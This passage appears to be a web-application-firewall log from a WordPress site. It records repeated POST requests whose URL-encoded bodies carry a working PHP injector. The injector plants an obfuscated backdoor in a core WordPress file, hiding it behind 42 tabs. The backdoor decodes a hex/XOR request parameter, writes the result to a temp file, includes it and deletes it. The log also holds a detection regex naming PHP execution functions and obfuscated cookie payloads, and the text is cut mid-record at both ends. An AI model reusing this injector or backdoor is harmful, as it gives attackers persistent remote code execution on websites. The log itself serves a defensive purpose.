%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:54:17","107.155.87.193","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GZ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524rec%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524flag%2520%253D%2527%2527%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524rec%2529%2529%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524rec%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520%2524reference%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524parameter_group%2520%253D%2520count%2528%2524reference%2529%253B%2520%2524data_chunk%2520%253C%2520%2524parameter_group%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524reference%255B%2524data_chunk%255D%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ref%2529%252C%2520is_writable%2528%2524ref%2529%255D%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524ref\/.desc%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524elem%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:4048\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE1bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaA5plV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\n\nGZ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524rec%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524flag%2520%253D%2527%2527%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524rec%2529%2529%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524rec%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520%2524reference%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524parameter_group%2520%253D%2520count%2528%2524reference%2529%253B%2520%2524data_chunk%2520%253C%2520%2524parameter_group%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524reference%255B%2524data_chunk%255D%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ref%2529%252C%2520is_writable%2528%2524ref%2529%255D%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524ref\/.desc%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524elem%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:54:21","172.86.89.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> QU:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524rec%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524flag%2520%253D%2527%2527%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524rec%2529%2529%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524rec%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520%2524reference%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524parameter_group%2520%253D%2520count%2528%2524reference%2529%253B%2520%2524data_chunk%2520%253C%2520%2524parameter_group%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524reference%255B%2524data_chunk%255D%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ref%2529%252C%2520is_writable%2528%2524ref%2529%255D%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524ref\/.desc%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524elem%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:4048\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHIHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\n\nQU=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524rec%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524flag%2520%253D%2527%2527%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524rec%2529%2529%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524rec%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520%2524reference%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524parameter_group%2520%253D%2520count%2528%2524reference%2529%253B%2520%2524data_chunk%2520%253C%2520%2524parameter_group%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524reference%255B%2524data_chunk%255D%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ref%2529%252C%2520is_writable%2528%2524ref%2529%255D%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524ref\/.desc%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524elem%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:54:26","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> bC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524rec%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524flag%2520%253D%2527%2527%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524rec%2529%2529%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524rec%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520%2524reference%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524parameter_group%2520%253D%2520count%2528%2524reference%2529%253B%2520%2524data_chunk%2520%253C%2520%2524parameter_group%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524reference%255B%2524data_chunk%255D%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ref%2529%252C%2520is_writable%2528%2524ref%2529%255D%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524ref\/.desc%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524elem%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:4048\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvLxZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\n\nbC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524rec%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524flag%2520%253D%2527%2527%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524rec%2529%2529%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524rec%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520%2524reference%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522\/var\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520%2522\/dev\/shm%2522%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524parameter_group%2520%253D%2520count%2528%2524reference%2529%253B%2520%2524data_chunk%2520%253C%2520%2524parameter_group%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524ref%2520%253D%2520%2524reference%255B%2524data_chunk%255D%253B%2520if%2520%2528array_product%2528%255Bis_dir%2528%2524ref%2529%252C%2520is_writable%2528%2524ref%2529%255D%2529%2529%2520%257B%2520%2524elem%2520%253D%2520%2522%2524ref\/.desc%2522%253B%2520if%2520%2528%2540file_put_contents%2528%2524elem%252C%2520%2524flag%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524elem%253B%2520unlink%2528%2524elem%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:54:35","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ZC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/SimplePie\/src\/Author.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2540%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2520%2521%253D%253D%2520null%2529%257B%2520%2524rec%2520%253D%2520hex2bin%2528%2524_REQUEST%255B%2522%255Cx66%255Cx61ct%255Cx6Fr%2522%255D%2529%253B%2520%2524flag%2520%253D%2527%2527%253B%2520%2524o%2520%253D%25200%253B%2520while%2528%2524o%2520%253C%2520strlen%2528%2524rec%2529%2529%257B%2524flag%2520.%253D%2520chr%2528ord%2528%2524rec%255B%2524o%255D%2529%2520%255E%252068%2529%253B%2524o%252B%252B%253B%257D%2520%2524reference%2520%253D%2520array_filter%2528%255B%2522\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520%2522